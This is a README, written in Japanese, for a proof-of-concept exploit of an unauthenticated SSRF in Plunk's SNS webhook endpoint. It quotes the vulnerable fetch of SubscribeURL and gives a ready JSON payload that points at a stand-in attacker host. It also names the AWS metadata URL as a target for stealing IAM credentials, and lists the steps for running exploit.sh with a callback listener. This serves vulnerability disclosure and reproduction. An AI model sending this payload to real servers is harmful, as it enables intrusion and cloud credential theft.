
PlunkのSNSウェブフックにおけるSSRF脆弱性の概念実証エクスプロイトであり、検証されていないSubscribeURLを介した未認証のサーバーサイドリクエストフォージェリを実証します。
useplunk/plunk における未検証の AWS SNS SubscriptionConfirmation を介した SSRF
Plunk の API エンドポイント POST /webhooks/sns は、AWS SNS の暗号署名を検証せずに、攻撃者が指定した SubscribeURL を取得します。認証されていない攻撃者は、サーバーに任意の外部送信 HTTP リクエスト (SSRF) を強制できます。
| 深刻度 | Critical — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| 影響を受けるファイル | apps/api/src/controllers/Webhooks.ts |
| 認証の必要性 | なし |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — 署名検証なし
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
最小限のペイロードは、次の 2 つのフィールドのみです:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/ を介して IAM 認証情報を窃取Plunk テスト環境を起動:
docker compose up -d
SSRF コールバックリスナーを起動:
python3 listener.py
エクスプロイトを実行:
chmod +x exploit.sh
./exploit.sh
listener.py の出力でコールバックのヒットを確認し、サーバーが攻撃者制御の URL を取得したことを確認します。
| ファイル | 説明 |
|---|---|
exploit.sh | エンドツーエンドのエクスプロイトスクリプト — 偽造された SNS ペイロードを脆弱なエンドポイントに送信 |
listener.py | SSRF コールバックリスナー — Plunk サーバーからの受信リクエストをキャプチャしてログに記録 |
docker-compose.yml | ローカル再現用の最小限の Docker Compose 環境 (Postgres、Redis、Plunk) |